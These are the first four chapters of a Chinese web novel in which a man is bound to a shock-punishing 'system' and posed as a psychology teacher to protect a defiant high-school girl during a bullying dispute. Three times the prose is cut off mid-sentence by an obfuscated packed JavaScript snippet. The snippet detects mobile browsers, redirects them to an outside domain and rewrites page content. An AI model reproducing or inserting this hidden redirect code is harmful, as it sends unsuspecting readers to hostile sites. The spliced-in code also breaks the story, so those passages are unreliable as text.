《老师,你也不想任务失败吧》 1. 001 隋城的夏天并不特别,亦或是青春本就千篇一律。 燥热的风吹不动垂坠的马尾,它们不是替夏日的印痕积极吹哨的风铃;唯有急促向前的步伐,甚至是奔跑起来,才会令其摇曳晃动。 只是濮怀玉前几天刚剪了短发,拨往耳后露出耳朵,很规矩、也很娴静的长度。“这样就不会在跑步的时候骚动后颈,让她总觉得痒痒的了”——濮怀玉本来打的是这个主意。 然而,另一种痒意混着难言的热度,刺破了她的脸颊。眼下濮怀玉有点躁,抬起手,指尖就着纱布的小角掐了掐。实在是痒意在更深的地方,那里擦破了血肉正在生长,被她揉坏就不好了。 趁着魏老师不注意,濮怀玉放下手前,食指迅速顺着发尾朝外的翘起打了一个小小的旋儿。 想象在玩滑滑梯,就这样弯下来。 魏老师没注意到她的小动作,语气激烈:“你跟人打架?你怎么能跟人打架呢,濮怀玉!这都什么时候了!” 她是个急性子,眼下激动到鼻梁上的黑色塑料眼镜架一翘一翘,好像眼镜跟佩戴者一样见不得少女默不作声的站立。 “你来告诉我,现在是什么时候!” 没有答复的训话难免枯燥,总要演变成问答。所以濮怀玉说:“高三。” “你还知道啊!接下来的一年有多关键,你不可能不清楚。濮怀玉,你跟别人不一样,你是要……” 准时响起的上课铃,此刻像是给单方面剑拔弩张的局面施施然擦了一层锈。 “下一节课是什么?”魏老师的语气骤然和缓许多。 濮怀玉略一思索:“今天周三。心理课。” “行。……等会儿常睿的家长要来,你自己想想怎么办吧!” 坦然地说,濮怀玉没具体想过要怎么办,她一直在想别的事。比如,秦紫怡不是说过办公室的空调很给力,想天天住在里面,为什么她只感觉到了老师的养生之道;以及,心理课暂且不论,她能赶得上晚餐吗,这个点已经开始饿了。 不吃点东西,真的不行啊。 濮怀玉有点忧伤,忧伤到想揉揉被她亏待的肚子。 常睿的父母没等到,反倒是魏老师接了通电话说要开会,冲她摆了摆手,让她先回教室上课去。 和绝大部分同龄人一样,濮怀玉对心理课抱以略微的轻视,但原因不太一样。她轻视这节课,是因为那些本该重视它、并将其重要性转告的成年人们轻视它的存在。 在走廊上缓缓步行,濮怀玉已经基本遗忘了和常睿冲突时的感触,但那张因为错愕更加丑陋的脸让她既恶心、又觉得有趣。 青春期的坑洞被扭曲成无知的洞穴,用来盛装包括他自己在内的愚者。 濮怀玉并不在里面,她站在洞穴边缘朝里看。 尽管身上留下伤痕,但濮怀玉没有哭泣,更没有惊讶,因为她非常确信自己在程序以及道义上的正义性。她甚至因此脚步轻快,就像了却一桩心事。 西斜的阳光虚虚地轻抚她的侧脸,似乎是为了缓解痛楚疼惜地呼出温热的气息,却因渐渐跟不上她的脚步拖曳在散落灰尘和碎发的地砖上。 而当濮怀玉敲响门扉后走进,为数不多的阳光也被阻隔在门外。 “吱呀”。 讲台上的男性应声转过头来,那张跟为人师表一词有些许违和感的脸毋庸置疑跨过了坑坑洼洼的青春期,所以他的错愕并没有附着在丑陋的坑洞上引人发笑,而是和某种稍显颓靡气质的美呼应。 就像半空中交织的余晖。 “报告。”与此同时,濮怀玉在心里默默念了声“抱歉”。 男老师捏着断了一截的粉笔,露出堪称谨慎的表情:“请进。” 而在他身后,粉笔字挥下不经斟酌的一长撇,依稀能看到粉笔断裂的一点,露了怯。 带着伤势,还迟到,着实不像良善学生。被当做一个需要解决的问题,也实在是没有办法。濮怀玉在属于自己的倒数第二排坐下,没有做别的事,而是撑着下颚看向讲台。 谁叫她刚才打断了这堂课呢。 “……我们继续。” 殊不知,在讲台上的“老师”眼里,下意识转起笔的少女还真是个大问题。 将时间前推,隗祯根本没有想过自己有一天会站在讲台上误人子弟。这些年轻人在最冲动、最情绪化、也是最受期待的年纪来听他这个门外汉上心理课,简直是无稽之谈。 「叮,宿主可以使用资料库的所有学习资料,系统也会及时分析宿主的上课情况予以调整。」 「……所以,课上得不好,也会被电击吗。」 无机质的机械音并不否认这个说法:「请宿主认真对待工作,不要脱离职业要求,珍惜系统提供的便利。」 这一刻,隗祯脑内滑过一行字,“这是便利吗,那他还不如死了”。 此时的他复活不过一个小时,已经领教过电击的可怕,满身残留着淋漓冷汗的印迹。 就在一小时前,隗祯在一无所知中缓缓睁眼。耳畔一个声音说他加入了叫什么“冷面刺头的欢乐校园”副本,并且在他尚未完全清醒时列出了一大堆名词,目标是为了解救一个十九岁少女的生命。 NPC亲戚分配的住房是隗祯在校外的休整点,第二天他就要去对方介绍的学校报道,当一名心理老师。 「目前解锁人物线索0条,待解锁6条。」 「当前友好值:0。」 「当前怀疑值:0。」 「请宿主再接再厉,任务完成后届时将有回归大礼包一份。」 ……这都是些什么东西? 报幕结束,礼花被拉响:「恭喜宿主,宿主是被拼○多真正认可的幸运之人。」 有一个声音在脑袋里说话,再加上一模一样的躯体和落差极大的身份,隗祯就算不愿意相信也得相信了,只是他确实没能理解系统生硬的幽默感,更加生硬地套近乎:「所以拼○多是你的名字吗?叠词听起来还挺亲切的。」 「……」 作为含着金汤匙长大的子弟,何止是拼○多,隗祯对淘○也仅限于知晓而已,从来没使用过。 隗本就是个稀有姓氏,而在隗祯所处的世界,尤其是上流社会,用如雷贯耳形容并不为过。 但现在,他面对的是四十五平的老房子,一室一厅,白色墙面已有明显剥落,角落还留存着前任住客的涂鸦,一碰就会簌簌抖落灰尘的“角落”隗祯一眼就能望到好几个,哪里是他在燕京黄金地带拥有的大平层所能比的。 一朝天,一朝地。谁到了这里,都得谦卑地感慨一句曾经的成就不过是命好。 受制于人,受赠于人。很快隗祯便打扫起房间,心想至少家具齐全,也不需要身无分文的他付房租。 但很快,不到十分钟,他就遭受了第一次电击,原因是质疑任务对象。 「为什么我的复活会跟另一个十九岁女生的性命挂钩——」 「叮,系统已在绑定时做过说明,任务对象‘濮怀玉’系《冷面校草狠狠爱》的绝对主角,当前检测到宿主轻视任务对象,不符合生命尊重条例,即刻开启矫正。」 隗祯来不及为自己争辩一句,就因为深入骨髓的疼痛扶墙颤栗,突如其来,却犹如海啸。到最后他连墙都扶不住,半坐在墙角汗如雨下,廉价的衬衣整件湿透。 所以,无怪乎他在初次见到任务对象的时候,粉笔差点划伤指甲。 是“轻视”吗?隗祯只是觉得这一安排十分玄妙,玄妙到讽刺。 所以他的任务对象本人会意识到,她那平静悠闲、看似全由偶然构成的校园生活里,其实有一缕游魂正在为第二次生命挣扎吗? 所谓“青春的幽灵”。 在见到濮怀玉本人之前,隗祯的心底是有怨愤的。见到她以后,与其说有所缓解,更像是因为对方的学生身份淤堵在了原处。 如今的她甚至不是十九岁,是十七岁。身形高挑,眉眼笼着阴沉,手肘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是,隗祯温声举起手里的标签纸:“下面请同学们找到一张空白的纸,作业纸也可以。要是不介意被任课老师问话,习题册的空白处我也不介意。” “然后,在上面画一个图形。什么图形都可以,老师画的是——圆圈。” 他有意提点,介绍起圆圈的特性来,在隗祯看来都是“好处”。 圆圈没有棱角,圆圈可以随意滚动,圆圈完美融入生活中的每一个角落。他从一个久经商场的成年人角度,将这套凝炼的人生哲学告知讲台下对未来还一无所知的同学。 面对他们,隗祯很难不自傲。 没有意外,他们一辈子甚至不会拥有仅仅跟他打个照面的机会。单调的学生时代尚且是截然不会相交的两类人,从校园走向社会更是如此。 用“金口玉言”形容,并不为过。 拇指与食指将干涩的粉末摩擦掉落,隗祯顺势将右手撑在讲台一侧,故作玩笑:“同学们应该只听说过‘圆滑’这个词,没有听说过‘方滑’吧?” 稀稀落落的笑声反倒增强了教室内的凝固感。 百分之八十都是男生,百分之九十都在埋头奋笔疾书,而这一点笑声几乎都是由女生的音色构成。 同性相斥。同性相斥而已。没人听讲是双赢,你好我也好。隗祯在心底安慰自己,象征性地下场巡逻。 数学、数学、物理、化学、数学、英语。 挨个数过去,隗祯发现还是数学的占比最高,其次是物理。 他就这样在狭窄歪斜的过道里走过,几乎没有人会因为他的到来收起手头的试卷。冗长的导数题不会因为他中断,小球终究要从斜坡上滑落。 “都画好了吗?” 隗祯象征性地吆喝一嘴,“画完的同学可以举起来,给老师看看。” 他几乎就要“逛”到濮怀玉书桌的左侧,却又慢下脚步。 他不走过去,濮怀玉会配合地转身。 她知道声音的来向,新鲜出炉的图案应该举向哪里,怎么递到老师眼皮底下,一切都是那么自然。 几乎要抬举到眼前的作业纸上,赫然是被尖锐线条穿刺而过的圆圈。 做这一切的时候,她面无表情。 隗祯虽在心底做了准备,仍是被一惊。 “噗嗤”。仿佛能听到箭矢没入,血肉四绽的声音。 然而耳畔响起的却是系统的提示音: 「友好值+20」 2. 002 为什么? 隗祯的指尖颤抖了一下,没有去接濮怀玉递到眼前的纸片,就好像它很锋利,他的手指一旦触碰就会被割伤。 对于他的忽视,濮怀玉也没有任何想法,神色如常收起来。 「宿主,防OOC机制对任务对象不起作用。」 按理来说,隗祯无法胜任教师一职。这副太得上天眷顾的皮囊于教师行业是毒药,所以要想不OOC,即不被解雇或是闹出事端,系统首先对他的的外貌进行了限制。 但濮怀玉是例外,她的目光正追随着这位新老师的身影,看他点了另一位男同学,让他解释自己绘制的小人。 一看就是捣乱的图样,可没有她的“后羿射日”来得帅气干脆。 「……所以,如果说您的外形在其他同学和老师的眼中只有百分之六十,在任务对象眼中就是百分之百。」 现在他明白了。轻瞥一眼低头折起纸的濮怀玉,隗祯镇定评价:“请坐。这位同学很有个性啊。” 他的任务对象,原来是外貌协会成员,简称颜狗。 隗祯开始播放准备好的教学水平,比学生先开小差:「第一次见面就有20友好值,是什么水平?」 「是个很好的开始,说明任务对象对您的初印象很好。」 不是错觉,系统似乎因为任务对象对他的好印象语气和缓了不少。 明明是机器,明明负责的对象是他,却好像在隔空对那个百无聊赖折纸的少女汪汪叫。 她有那么重要吗? 将折成微型东西南北的纸张扔到一边,濮怀玉觉得配合到这个地步差不多了,现在开始写作业应该不显眼。 而在这时,前座的秦紫怡欲盖弥彰地捂嘴咳嗽一声,不自然到濮怀玉真想摆手说句“没必要”,然后一个纸团便被扔到她桌上。 什么时候拿起是技术活,需要提防的并非讲台上侧过身对视频发怔的新老师,而是窗外有可能正在窥伺的第二双眼睛。 濮怀玉谨慎地环顾四周,然后把纸团紧贴桌面挪到书堆旁,展开。 上面圆滚滚的字迹虽非语文老师提倡,但胜在表意清晰。 ‘你的脸跟手臂怎么了?是不是常睿那个贱种打的?’ 她还在句末画了一把血淋淋的刀。 ‘你觉得他能给你打得过我吗,当然是他突然耍阴招,把我推到墙角擦破了。’ ‘也怪我,知道他有多卑劣却没有防范。’ 濮怀玉的字迹则相当锋利潇洒。 秦紫怡把纸团再次扔过来时,多了三个大哭的表情。 ‘老公我不要你破相,答应我千万不要留疤好吗,我会让妈妈帮你拿膏药的。’ 秦紫怡的母亲在三甲医院当护士长,平时忙得脚底磨出烟,管女儿管得不够细致,自然也不可能知道她会对长相俊秀英气的女同学喊老公。 濮怀玉早就习惯了这个称呼,谁叫秦紫怡擅长以哭闹取胜,再加上整个隋城一中确实如她所说,“男生全都丑得千奇百怪”。她对她口呼老公,就像一个绝望的尼姑的权宜之计。 虽然,讲台上的新老师好像吸干了整个学校男生们的俊逸和优美。濮怀玉掀起一点点眼皮,再因为极佳的视觉体验满足地垂下去。 没错,她就是那种很庸俗的学生——会因为老师长得好看就多花点工夫在这门课上,课上配合,课后作业认真。 譬如,高一时有个漂亮的生物老师教濮怀玉,她便卯足劲儿成了生物课代表。 这个心理老师还要好看,好看到让濮怀玉的眼睛大吃一惊,世间竟还有如此绝景。走近以后甚至更好看,好看到濮怀玉情不自禁就把自己的作品抬得高高的,想被他看见。 但终究是异性,对于男老师,濮怀玉的目光不可避免多上几分审慎,没有被选中也不觉得遗憾。 何况她隐约感觉得到,这位老师把她看作问题学生。 ‘怎么能说是破相呢,疤痕多帅啊。’濮怀玉笔下微微停顿,‘但你也是为我好,我这几天就少吃点含有酱油的菜吧。’ 无聊的视频已经放完,老师开始让他们做测试。濮怀玉不准备做,她将饱经蹂躏的纸张叠回去,刚准备示意秦紫怡靠到椅背上,就在这时坐在她后面的男生“嘁”了一声。 随后,那男生口中模模糊糊地嘟囔:“……打人都不需要受处分的吗?那我下次也随便找个人揍两下……” 不知道把心里的不满憋了多久,亦或者是看她不但像个没事人一样回来,还在课上小动作不断,“实在是太过嚣张”,于是借题发挥。 总之,隗祯注意到了这边,走了过来。 「坐在任务对象后面的男同学,刚才说了什么?」 系统重复了一遍。这点小事,不过是耳朵得放灵点,它还是能办到的。 隗祯品了品:「说的倒也没错。」 系统立马语气激动:「请宿主摆正心态,自行探索!任务对象的所有行为都是有原因的!」 「所以,包括传纸条吗。」隗祯对它极其明显的偏向性抱以一声不咸不淡的嗤笑,「我知道,我会珍惜这次机会。」 他再次离开了讲台。和上次一样,这次收起习题册的同学同样很少,绝大多数都以坦荡的态度对待他,对待不可能有所减负的作业。 相较于他们,濮怀玉很悠闲,面对他的靠近也始终一副无动于衷的冷漠模样。 当坏孩子需要极强的心理素质,她是坏孩子吗? 隗祯最终停在濮怀玉的桌旁。而在他的注视下,濮怀玉松开了纸条。本该像做错了事一样小心翼翼,少女却用紧随其后的一个抬眸摧毁了整套逻辑链。 就像在说,“既然你是心理学的专家,应该知道怎样处理最好吧”。 松开,不是因为怯懦,而是因为确信他不会展开,在跟他赌。赌他的道德,赌他拥有最基本的坦然,至少不会拿同学之间遮遮掩掩的私语在课堂上当众羞辱当事人。 “如果要留到课后,那就秋后算账吧”,这副做了错事还坦坦荡荡的模样,着实让隗祯额前突突地跳起来。 不过,就算不是心理学的行家,隗祯也知道怎么做最适合。 跟系统比,他知道自己好不到哪里去,同样有所偏向——偏向跟濮怀玉对立的一方。 心里的偏向是一方面,但他占据了老师这个应当公允的职业,尸位素餐已是亵渎,更不能真的当众给同学难堪。哪怕这个同学,有着坏孩子级别的顽固和冷静。 “同学们课上可以做自己的事,原则只有一条,低调行事。” 隗祯最终转过身去,“不要打断老师,也不要影响其他同学。你们已经高三了,离高考不远,对仅剩的时间有自己的规划是人之常情,老师也不想过多干预你们。” 大气不敢喘的秦紫怡感觉活过来,终于能喘气了。 下次再也不敢把“老公”两个字一笔一划写在纸上了,要是真被老师发现,秦紫怡觉得自己可以换一个星球生活了。 不过,她在极度紧张之中有新发现。 原来觉得“很帅,但不足以乱我道心”的新老师,好像不是一般的帅。 只是经过刚才那一遭,秦紫怡不敢再跟濮怀玉传纸条了,还是做两篇完形填空冷静冷静吧。 之后,隗祯随机抽取了两个刚才看起来做了测试的同学分享,一个确实做了,另一个尴尬地支支吾吾说“做了一半”,隗祯也没有为难,只让做了的同学分享。 分享的同学是典型的理科生长相,黄黑皮肤,毛发浓,高度近视的双眼耷拉着没有神,分享完便说“老师,我觉得这个不准确,可信度不高”。 第一堂课的滑铁卢真不少,不过跟濮怀玉相比,隗祯也能心平气和了。 “确实,老师也觉得测试有点陈旧……” 比准时响起的铃声先一步提醒时间的,是震动的走廊。 隗祯刚想跟系统求证,心理委员举起手,一马当先:“隗老师,其他班级已经提前十分钟下课了。我们要是去得迟,就没有饭吃了。” 没有饭吃是假,但确实会赶上拥挤的用餐高峰期,彻底错失卤肉面肉夹馍等热门菜品。 心理委员是否怀私心有意于热门菜品之一,不得而知。但濮怀玉知道隗祯被诓骗成功,思索几秒钟无可奈何说了下课。 倘若是数学老师,或者物理老师,只会上满最后十分钟的每一秒钟。 同学们撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王宇喘着粗气,乍一看十分吓人,让秦紫怡抓着濮怀玉的手都开始发颤。他咬牙切齿,手缓缓抬起:“女的打人不管,男的打人就管……你们女的就是会搞特殊!” 他作势要打人,隗祯立刻走上前,站在两个人中间:“王同学,这跟性别没有关系,你有点太偏激了,你我都不了解事情的全貌。” 结果,濮怀玉朝左侧弯下腰,将表情淡漠的脸暴露在王宇面前。她道:“隗老师,说不定他因为您刚才上课没有抓我,对您也怀恨在心呢。” “濮同学!你也少说两句。” 这跟火上浇油有什么区别。 濮怀玉还真不说话了。 此时秦紫怡趁机把她往外拉,一边拉一边匆忙告别:“隗老师,那我跟濮怀玉就先去食堂了。” 结果人没走成,魏老师出现在教室后门。 “濮怀玉,常睿的父母到了,你跟我来一趟办公室。” 只是看样子又有新情况,魏老师揉了揉眉心,太阳穴胀得疼,“你跟王宇又怎么了?” 隗祯趁机:“魏老师,我跟您一起去办公室吧,正好给您说明一下刚才课上发生的事。” 他的立场很难介入,但如果非要掺和,再加上濮怀玉这个刺头确实制造出了新事件,魏老师也只能接受。 “那就麻烦……” “我是新来的心理老师,我姓隗。” 魏老师揉了揉酸胀的眉心:“好的,麻烦你了,隗老师。” 这对秦紫怡来说可不是好消息,她紧握濮怀玉的手,满眼写着求救。 “你求救什么,要求救也是我求救。” 濮怀玉面不改色抽出手,“你只需要知道从头到尾我都很清白,很正义,就可以了。” 正义。 这个单纯到复古的词自她之口,引得隗祯侧目。 下一秒,濮怀玉在经过他时礼貌地微微欠身,然后从容跟上魏老师的脚步。 像个气定神闲的侠士。 “侠士”本人嘴唇张合,起初没发出声音,到最后汇成六个字:“魏老师,对不起。” “你做的时候,可没想过对不起我吧。”魏老师叹了口气,“你其实可以告诉我的,我会处理好这件事。” 濮怀玉知道自己有些冲动,“对不起。” “既然这样,做了就做了。不能因为没有家长给你撑腰,你就能随便给人欺负。” 每个人在这件事中都有自己的偏向,哪怕是本应该保持公允的魏老师。 而她的偏向,是濮怀玉。 ……所以,果然是“校草”吗。 而魏老师,其实是她的“金手指”? 3. 003 “这就是隋城一中的水平?!我儿子辛辛苦苦考进来,以为都是高素质人才,结果被人打了还讨不到一个公平?” “我告诉你们,不好好处理,我可以在校门口拉横幅,可以举报到市长信箱,我有很多方法处理你们!” 魏老师一走进门,立马知道不是善茬,出声安抚道:“常睿爸爸,我们坐下来说。” 常睿的父亲长相并不粗糙,甚至散发文雅气息,穿着更是有几分考究和精致在里头。这样的中年男人动起怒,无疑会造成另一种让人难堪的境地。 “对,常睿家长,我们坐下来慢慢把前因后果顺清楚……”常睿的班主任点头附和。 那男子眼一横,没正眼瞧年轻的女老师:“顺什么顺!你是看我儿子老实,欺负他好说话是吗?” 那女老师到底教龄短、脸皮薄,双颊肉眼可见迅速充了血。 至于常睿,他就站在一边,配合地作出老实相。外形上看他是矮瘦版的王宇,两个人长这么像,要濮怀玉说真是穿一条裤子的好兄弟也不奇怪。 瞧见陌生老师身后的濮怀玉,常睿还给自己加戏,缩了缩脖子,像只断了脖颈的公鸡。 这演技,濮怀玉看在眼底着实牙酸。 她可不是一般的手下留情,否则常睿不能好端端地站在这里,没有任何明显的伤口就能充当受害者。 “刘老师也是想要沟通。老常,我们今天来是要解决问题的。你先冷静冷静,不要让老师跟孩子看了笑话。” 常母虽也脸色不好看,但暂且没有发难,而是跟着两个老师劝告常父,至少先冷静下来才能进入正题。 常父骤然火冒三丈:“冷静什么冷静!我看谁敢看我的笑话!” 他眼睛一扫,看见隗祯,“你是那个濮什么的谁!你知不知道你家孩子在学校打人!” 魏老师:“哦,这是我们学校新来的——” “隗老师生不出我这么大的孩子。” 进办公室前,濮怀玉刚被魏老师嘱托过,往后面躲一躲,她这才渐渐落到了隗祯身后。 但现在,她不可能藏身其后,镇定到堪称冷酷地走出来。 分明是和常睿配色相同、形制也大差不差的校服外套,在她身上却并不是耷拉的、死气的、带着洗不净污垢的脸颊包装,而是犹如纵横跳动的火焰,红得刺眼、璀璨,有股锋芒毕露的气魄。 手肘处的伤痕被掩盖,脸上的纱布不依不饶展示粘性。她便冷静地站在那里:“我就是濮怀玉,您可以跟我沟通了。” 常父气急:“叫你家长来学校!一个小姑娘能做出这种事,他们究竟怎么教育你的!” “我没有家长。”濮怀玉的声音平静无波,就好像所有的悲欢在这个话题上都跟她无关,“我也想知道我的父母在哪里。” 她的身影在这一刻被无限拉长,成了寂寥的枯木。 隗祯喉咙一哽,耳畔却响起了系统的提示音:「线索一:她在孤儿院长大。」 常父先是一怔,然后嗤笑:“原来真是有娘生,没娘养。” “常睿爸爸,注意你的措辞。” “常维勇!”忍不可忍和疲倦不堪同时出现在常母的眉眼间,“至于这样言语攻击一个孩子吗?!” 毕竟她攻击了他的儿子,他气急败坏口出恶言也在意料之中。 濮怀玉眼睛一眨也不眨。这种话伤害不到她,平心而论话糙理不糙,她就是在孤儿院生长到今天、靠爱心才能长大的孩子。 “这件事跟我和常睿发生肢体冲突没有任何关系。常叔叔,您要是好奇前因后果,可以调学校的监控看。我敢说,我绝对不是先动手的那个人。” 濮怀玉褪下一侧的袖管,当众揭开消毒水味道的纱布,露出仍有些模糊的伤口,“如果真的是我殴打了常睿,他身上至少会有一处这样的伤口。” 她面不改色贴回去,穿起外套。不等常父胡搅蛮缠,濮怀玉继续: “常睿很清楚怎么攻击女生,所以他先肘击了我的胸前,然后把我推向墙角的瓷砖。我护住了我的头,所以遭殃的只有脸部。” “至少我没有攻击他的性征。” 常睿脸上陡然刮起狂风大浪。 而刘老师立刻反应过来,离开办公室打电话,说要调取监控。 见濮怀玉条理清晰,一点都不畏缩,常父已然清楚她的难缠,仍涨红着脸吼道:“你一个女生,张口闭口又是胸,又是性征,你好意思吗?” “那您可不可以就事论事呢!”濮怀玉的声量瞬间提高了不止一个度,“我为什么要不好意思!您是觉得您不占理,所以开始拿羞耻心说事吗!” 常父更急了:“你要是没对我儿子做什么,常睿他会打你吗?” 此时魏老师看了眼窗外,不仅有老师,还有从食堂向教学楼回流的学生。稍后刘老师推门而入,扬起手机:“那边还没下班,等会儿就能调监控了。” “不行!” 视线尽数来汇聚,常睿惨白着脸,“不、不能调监控。” 是谁不占理,已经很明白了。 孩子不争气,常父这个当老子的不罢休,手指指向濮怀玉,对爱子的昵称脱口而出:“你这个小姑娘,心机重得很,故意害我们睿睿是吧?” “噗”。如果场景允许,濮怀玉真的很想看着这根乱晃的手指笑出声——睿睿,什么玩意儿。秦紫怡有个叫秦紫涵的妹妹,她都没见过秦紫怡的母亲振振有词叫过“我家紫涵”。 走廊上看热闹的人堆,一层接一层,脸都快要贴在窗户上了。 照这样下去,要是把领导吸引过来,对魏老师并不好。 她抬眸,跟混进来的心理老师对上视线。 颇有股点名的感觉:他应该做点什么。 隗祯对事态的发展始料未及,尤其是惊讶于事件中的两位主角——那位常同学拒绝接受自己的身份,龟缩在家长身后,而濮怀玉从未拒绝过主人公身份。 常睿的懦弱实属意料之中,但濮怀玉拥有着超乎寻常的坦然和坚毅。 所以,他能做点什么? 最佳方案无疑是尽快终结这一切。濮怀玉已经是高三生,此事既然是她占理,后续的惩罚没有着落,最好大事化小、小事化了,尽早回到正常的学习生活中去才是最要紧的。 她的追求和魄力固然珍贵,但何为主要、何为次要,隗祯认为这更加重要。 因为关乎人生,关乎将来她会在哪一片海域浮出水面、感受到怎样的阳光。 因此,隗祯开口:“常同学,既然是你先动的手,你理应向濮同学道歉。” “濮怀玉,你也回了手,后退一步接受道歉吧。晚自习马上要开始了。” 濮怀玉收回视线,侧脸夹杂几分冷意。 显然,不是她爱听的答案。 不依不饶可不是上策——隗祯多少觉得她太稚嫩,太随情绪而动。 「友好值-16」 「当前友好值:4」 隗祯的脸色迅速变化。 好好好,错了,是他错了。不是濮怀玉稚嫩,是他太嫩了。 但友好值一动不动。 “笃笃”。敲门声响起。 而比敲门声更进一步的,是身体栽倒在门上的沉闷响动。 门敞开的同时,看热闹的同学们正纷纷扶起地上的女同学。她显然刚从食堂打包晚餐回来,手头的塑料袋里是微微压扁的红糖馒头和千层糕。 当众摔倒,难免有点不好意思。女同学比起报告先一步说谢谢,眉眼因窘迫蜷缩的同时掺杂进了决心。 “报告!” 她在众目睽睽之下走进办公室,看向这群沧桑的成年人。 濮怀玉站在他们中间像是被毫不留情地围剿,此刻的回眸却平和如水,好似在说“不用担心”。 “……我要报告,常睿同学向我告白不成,对我进行言语侮辱。很多同学都看到了。”女同学捏紧手里面的塑料袋,“他骂我是婊|子装高冷,还散播我跟校外社会人员来往的消息,说我不答应他肯定是因为被、被……” 濮怀玉打断:“林梦桦,这么多够了。” “不行,我要说。”她的不忍反倒让林梦桦彻底做好决定,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448468|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常睿还说我肯定是被睡烂了。这句话他写了纸条,我可以拿来当证据。” “濮怀玉要常睿向我道歉,常睿不愿意,所以才打了她。” 那张纸很脏,非常脏,看一眼都会玷污林梦桦的眼睛,但她想到濮怀玉可能会被别人找麻烦,紧紧握住了这团垃圾。 现在她意识到,纸就是纸而已。她攥在手里,就跟攥着笔杆写作业一样,不需要感到羞耻。 “——常睿,我要你向我,也向帮助我的濮怀玉同学道歉!” 被掩盖的另一位当事人出现,字字珠玑,常父久久无话。 “……我们睿睿那是喜欢你……” 话音未落,走廊上传来哄笑声。繁忙的学习生活多了这样一个乐子,加害者家长还在不断制造乐子,他们当然会笑,他们最基本的三观又没有问题。 “‘那是喜~欢~你~’我真是太荣幸了哈哈哈哈……” “这福气给你要不要啊?” “哇塞,原来这么典中典的话术真的存在,我一直以为是下水道里的都市传说诶!” 魏老师赶紧去关门,呵斥同学回教室。 “1班的同学听着,等会儿我回教室要是看见谁不在座位上,后果自负。” 回来时路过林梦桦,她拍了拍这位女同学的肩膀,让她坐下来喝口水。 “谢谢魏老师,但我暂时不需要。” 放在以往,林梦桦根本不敢跟任何一个老师说“我不需要”,但她今天站在这里,非要不依不饶一回,“那个……常睿还没有跟我和濮怀玉道歉。” 刘老师找回声音:“常睿爸爸,常睿妈妈,事情已经很清楚了。像常睿这样的学生,按照一中的规章制度是要记过处理的,你们家长也要带他回家做思想教育……” “好的刘老师,这件事是常睿做得不对。”常母抢在常父前面开口,转过身恨铁不成钢地甩了常睿一个巴掌,“我就问你,该不该打!你这张嘴太出息了,能对女生说出这种话!” 濮怀玉冷不丁:“阿姨,您把常同学的嘴打肿了,他怎么跟我们两个道歉。” 被戳破心思,常母尴尬地收回下一个巴掌。若说在此次事件中她没有爱子之心,那也并不可能。 果然,常睿支支吾吾道完歉,她便陪着笑脸让两个女生说情,把常睿的处分免了。言辞之恳切,林梦桦真有点被说动。 这个年纪的学生,尤其是很多女生,说是耳根子软也不恰当,她们只是有点天真,几乎都受不了这一招。 濮怀玉的心肠就要硬很多,她不但希望常睿背上一个处分,还暗戳戳请求老天开眼把他从这个学校弄走,看着太晦气。 “阿姨,魏老师和刘老师都在,您可以向她们咨询。” 她直言,“学校不是我们开的。” 所以也别用这种幽怨的眼神看她们两个,就好像想走捷径但被发现了一样。 隗祯开口:“濮怀玉,你——” “隗老师,你是想让我得饶人处且饶人对吗?” 你好像很擅长慷他人之慨。濮怀玉的眼神如是说着。 “……不。我是想说,常睿打了人,最起码的医药费得由家长付清楚。” 被扣了顶不辨是非的帽子,隗祯心情很复杂,毕竟她心里想的确实不错,他是半路改的口。 「友好值+2」 「恭喜宿主,任务对象友好值在5以上,无需接受电击了。」 就像是在嘲讽他一般,系统的提示音非常及时,告诉他错过了什么——一次惊险刺激的电击。 同时,隗祯忽然意识到一点:在知道他是什么样的人之后,濮怀玉再不会有那么慷慨的时刻了。 这个答案还算中肯。濮怀玉点头,神色稍稍舒展,转过头去:“我不需要医药费。只要这点伤口能让叔叔阿姨明白,就算没有前边的缘由,常睿也不占理就好。” 除非林梦桦自己愿意站出来,否则濮怀玉不会主动告知清楚原因,将那些羞辱的词汇一点一点掰扯清楚。 但她站了出来,所以濮怀玉扬起了很浅的笑容,为大大的勇气庆贺。 4. 004 一家三口灰头土脸走了,刘老师带着林梦桦走了,濮怀玉还在原地。 她身上压着的,可不止这一件事。 送走一批人,魏老师终于能够坐下来,揉动眉心:“隗老师,刚刚在心理课上,濮怀玉又怎么了?” 传纸条确实是她不对,她认了;但是王宇的事她绝对不认。濮怀玉原地立正,已经想好这位相貌天姿、观念却十分落后的新老师会怎么告状了。 思想陈旧,真的会让容貌失色。 「友好值-1」 「当前友好值:5。」 隗祯已然体验到什么叫“玩得就是极限”,求生的本能在此刻旺盛到让他反应超神: “魏老师,我想这件事终究发生在我的课堂上,我还是跟濮怀玉单独沟通吧。” 电击的威力深入骨髓,只要尝过一次,此后只要听到类似的词就会无比抵触。隗祯面上不显,笑容却依稀有些僵硬。 “刚才常睿的家长有很多不恰当的措辞,很容易伤到孩子的心。我可以跟濮同学聊聊,在办公室做一个简单的心理疏导。” 魏老师若有所思:“也好。隗老师你几点钟下班?我记得你们下班很早。” “您放心,不会耽误太久。”隗祯道,“我的时间是时间,濮怀玉同学的时间也是时间,我相信我们能一起利用好。” 这之后,二人先后下楼。路灯拉长人影,给予简单的照明,进入心理咨询室所在的教学楼一时间却没有半分亮光。 黑夜里,濮怀玉出神地想:能借此机会逃离闷臭味道的教室,挺好。她也不缺这点写作业的时间。 钥匙拧开六层尽头倒数第二个反锁的门,隗祯先开了灯,再出来给门调整好敞开的角度,确保能将室内的场面完完整整展现给走廊上偶然经过的人,这才放心走进。 